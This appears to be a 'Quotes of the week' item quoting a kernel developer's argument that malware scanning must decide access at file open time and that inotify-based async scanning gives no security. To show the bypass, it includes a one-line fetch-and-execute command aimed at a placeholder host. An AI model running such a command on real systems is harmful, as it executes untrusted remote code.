Quotes of the week

Yeah, you didn't read the whole thread.  (Says the guy with the quote of the week.)  I'll
address your issues here anyway so people who only get that blurb don't think I missed things
you caught.

My statement was that access decisions are to be made at open time in any file scanning
system.  There is no revoke mechanism in linux, so claiming that we should revoke access to a
process with an open file because someone else writes junk into it is pointless and
impossible.  close time scanning is a speed up so we have results when the next open occurs.
Actually my first code just did scanning on open and achieved the same results and access
controls.  Having that async close scanning speeds things up a fair deal for the next open
though.

Read Alan Cox's comment above mine about try to enumerate all of the boundaries.  Yes, putting
guards at the door is good, but its not a solution.  Especially when some of those door can't
have guards (nfs?)

inotify has been pointed out by everyone who understands how it works as completely
infeasible.  An all new 'inotify like' subsystem would be required (heck I even wrote one!) to
give performance improvements, but obviously inotify can't solve the issue.  Simple shell code
to get around any inotify based async system is wget http://badfile;./badfile  no way inotifiy
had time to scan badfile and chmod/rm it before it was run.  inotify is a lot like what async
notifications will do, but it can't provide any security and isn't even a potential solution

preloaded libraries have many counter examples in the thread including knfsd and static
binaries like ldconfig.

And yes, kernel coding is easy, that's why we all do it *smile*